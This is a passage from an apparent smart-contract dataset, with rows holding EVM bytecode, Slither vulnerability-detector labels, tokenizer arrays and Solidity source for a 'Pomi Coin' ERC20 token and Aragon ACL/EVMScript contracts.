6000602082019050612aa760008301846124a4565b92915050565b60006020820190508181036000830152612ac781846124ec565b905092915050565b60006020820190508181036000830152612ae8816125f8565b9050919050565b60006020820190508181036000830152612b088161263e565b9050919050565b60006020820190508181036000830152612b2881612661565b9050919050565b60006020820190508181036000830152612b4881612684565b9050919050565b60006020820190508181036000830152612b68816126a7565b9050919050565b60006020820190508181036000830152612b88816126ed565b9050919050565b60006020820190508181036000830152612ba881612710565b9050919050565b60006020820190508181036000830152612bc881612733565b9050919050565b60006020820190508181036000830152612be881612756565b9050919050565b60006020820190508181036000830152612c0881612779565b9050919050565b60006020820190508181036000830152612c28816127bf565b9050919050565b60006020820190508181036000830152612c4881612805565b9050919050565b60006020820190508181036000830152612c6881612828565b9050919050565b60006020820190508181036000830152612c888161284b565b9050919050565b60006020820190508181036000830152612ca881612891565b9050919050565b6000602082019050612cc460008301846128e6565b92915050565b6000612cd4612ce5565b9050612ce0828261302a565b919050565b6000604051905090565b600067ffffffffffffffff821115612d0a57612d09613162565b5b612d1382613191565b9050602081019050919050565b600067ffffffffffffffff821115612d3b57612d3a613162565b5b612d4482613191565b9050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000612e2682612fac565b9150612e3183612fac565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e6657612e656130d5565b5b828201905092915050565b6000612e7c82612fac565b9150612e8783612fac565b925082612e9757612e96613104565b5b828204905092915050565b6000612ead82612fac565b9150612eb883612fac565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ef157612ef06130d5565b5b828202905092915050565b6000612f0782612fac565b9150612f1283612fac565b925082821015612f2557612f246130d5565b5b828203905092915050565b6000612f3b82612f8c565b9050919050565b6000612f4d82612f8c565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015612fe3578082015181840152602081019050612fc8565b83811115612ff2576000848401525b50505050565b6000600282049050600182168061301057607f821691505b6020821081141561302457613023613133565b5b50919050565b61303382613191565b810181811067ffffffffffffffff8211171561305257613051613162565b5b80604052505050565b600061306682612fac565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613099576130986130d5565b5b600182019050919050565b60006130af82612fac565b91506130ba83612fac565b9250826130ca576130c9613104565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f7b226e616d65223a220000000000000000000000000000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f2023000000000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f22207d0000000000000000000000000000000000000000000000000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f222c2022696d616765223a202200000000000000000000000000000000000000600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f222c20226465736372697074696f6e223a220000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f222c2022616e696d6174696f6e5f75726c223a20220000000000000000000000600082015250565b6136d381612f30565b81146136de57600080fd5b50565b6136ea81612f54565b81146136f557600080fd5b50565b61370181612f60565b811461370c57600080fd5b50565b61371881612fac565b811461372357600080fd5b5056fe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa2646970667358221220886cf26c56cf59d293617553d4b7df21279f60cd470a4032c996ee8c678f816764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-shift', 'impact': 'High', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 12879, 2575, 2487, 2063, 2629, 2063, 2487, 2050, 2475, 7959, 22022, 14526, 2546, 2581, 2475, 2063, 2629, 2094, 2692, 2063, 2581, 16409, 2094, 2683, 15136, 27717, 2546, 22275, 2850, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2517, 2011, 5199, 16073, 1026, 1028, 5665, 26199, 3334, 1013, 1013, 2245, 8144, 2011, 6071, 11266, 1013, 1013, 4031, 2011, 5304, 1012, 1060, 2100, 2480, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,527
0x96ef7f9cf1b6ecc66e482a6598fc9f009e9277da
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'Pomi' token contract // // Deployed to : 0x6cAD0A46F878D9b0A7EA511365506653Ec0923CC // Symbol : Pomi // Name : Pomi Coin // Total supply: 1000000000000 // Decimals : 8 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Pomicoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "Pomi"; name = "Pomi Coin"; decimals = 8; _totalSupply = 100000000000000000000; balances[0x6cAD0A46F878D9b0A7EA511365506653Ec0923CC] = _totalSupply; emit Transfer(address(0), 0x6cAD0A46F878D9b0A7EA511365506653Ec0923CC, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582057915e5e3d5ee36a43188675bec25db2d6649d76efec6510bedc875d7785f9370029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 12879, 2581, 2546, 2683, 2278, 2546, 2487, 2497, 2575, 8586, 2278, 28756, 2063, 18139, 2475, 2050, 26187, 2683, 2620, 11329, 2683, 2546, 8889, 2683, 2063, 2683, 22907, 2581, 2850, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1005, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,528
0x96f041b96708813b1d789606926c524e78543664
//File: contracts/acl/IACL.sol pragma solidity ^0.4.18; interface IACL { function initialize(address permissionsCreator) public; function hasPermission(address who, address where, bytes32 what, bytes how) public view returns (bool); } //File: contracts/kernel/IKernel.sol pragma solidity ^0.4.18; interface IKernel { event SetApp(bytes32 indexed namespace, bytes32 indexed name, bytes32 indexed id, address app); function acl() public view returns (IACL); function hasPermission(address who, address where, bytes32 what, bytes how) public view returns (bool); function setApp(bytes32 namespace, bytes32 name, address app) public returns (bytes32 id); function getApp(bytes32 id) public view returns (address); } //File: contracts/apps/AppStorage.sol pragma solidity ^0.4.18; contract AppStorage { IKernel public kernel; bytes32 public appId; address internal pinnedCode; // used by Proxy Pinned uint256 internal initializationBlock; // used by Initializable uint256[95] private storageOffset; // forces App storage to start at after 100 slots uint256 private offset; } //File: contracts/common/Initializable.sol pragma solidity ^0.4.18; contract Initializable is AppStorage { modifier onlyInit { require(initializationBlock == 0); _; } /** * @return Block number in which the contract was initialized */ function getInitializationBlock() public view returns (uint256) { return initializationBlock; } /** * @dev Function to be called by top level contract after initialization has finished. */ function initialized() internal onlyInit { initializationBlock = getBlockNumber(); } /** * @dev Returns the current block number. * Using a function rather than `block.number` allows us to easily mock the block number in * tests. */ function getBlockNumber() internal view returns (uint256) { return block.number; } } //File: contracts/evmscript/IEVMScriptExecutor.sol pragma solidity ^0.4.18; interface IEVMScriptExecutor { function execScript(bytes script, bytes input, address[] blacklist) external returns (bytes); } //File: contracts/evmscript/IEVMScriptRegistry.sol pragma solidity 0.4.18; contract EVMScriptRegistryConstants { bytes32 constant public EVMSCRIPT_REGISTRY_APP_ID = keccak256("evmreg.aragonpm.eth"); bytes32 constant public EVMSCRIPT_REGISTRY_APP = keccak256(keccak256("app"), EVMSCRIPT_REGISTRY_APP_ID); } interface IEVMScriptRegistry { function addScriptExecutor(address executor) external returns (uint id); function disableScriptExecutor(uint256 executorId) external; function getScriptExecutor(bytes script) public view returns (address); } //File: contracts/evmscript/ScriptHelpers.sol pragma solidity 0.4.18; library ScriptHelpers { // To test with JS and compare with actual encoder. Maintaining for reference. // t = function() { return IEVMScriptExecutor.at('0x4bcdd59d6c77774ee7317fc1095f69ec84421e49').contract.execScript.getData(...[].slice.call(arguments)).slice(10).match(/.{1,64}/g) } // run = function() { return ScriptHelpers.new().then(sh => { sh.abiEncode.call(...[].slice.call(arguments)).then(a => console.log(a.slice(2).match(/.{1,64}/g)) ) }) } // This is truly not beautiful but lets no daydream to the day solidity gets reflection features function abiEncode(bytes _a, bytes _b, address[] _c) public pure returns (bytes d) { return encode(_a, _b, _c); } function encode(bytes memory _a, bytes memory _b, address[] memory _c) internal pure returns (bytes memory d) { // A is positioned after the 3 position words uint256 aPosition = 0x60; uint256 bPosition = aPosition + 32 * abiLength(_a); uint256 cPosition = bPosition + 32 * abiLength(_b); uint256 length = cPosition + 32 * abiLength(_c); d = new bytes(length); assembly { // Store positions mstore(add(d, 0x20), aPosition) mstore(add(d, 0x40), bPosition) mstore(add(d, 0x60), cPosition) } // Copy memory to correct position copy(d, getPtr(_a), aPosition, _a.length); copy(d, getPtr(_b), bPosition, _b.length); copy(d, getPtr(_c), cPosition, _c.length * 32); // 1 word per address } function abiLength(bytes memory _a) internal pure returns (uint256) { // 1 for length + // memory words + 1 if not divisible for 32 to offset word return 1 + (_a.length / 32) + (_a.length % 32 > 0 ? 1 : 0); } function abiLength(address[] _a) internal pure returns (uint256) { // 1 for length + 1 per item return 1 + _a.length; } function copy(bytes _d, uint256 _src, uint256 _pos, uint256 _length) internal pure { uint dest; assembly { dest := add(add(_d, 0x20), _pos) } memcpy(dest, _src, _length + 32); } function getPtr(bytes memory _x) internal pure returns (uint256 ptr) { assembly { ptr := _x } } function getPtr(address[] memory _x) internal pure returns (uint256 ptr) { assembly { ptr := _x } } function getSpecId(bytes _script) internal pure returns (uint32) { return uint32At(_script, 0); } function uint256At(bytes _data, uint256 _location) internal pure returns (uint256 result) { assembly { result := mload(add(_data, add(0x20, _location))) } } function addressAt(bytes _data, uint256 _location) internal pure returns (address result) { uint256 word = uint256At(_data, _location); assembly { result := div(and(word, 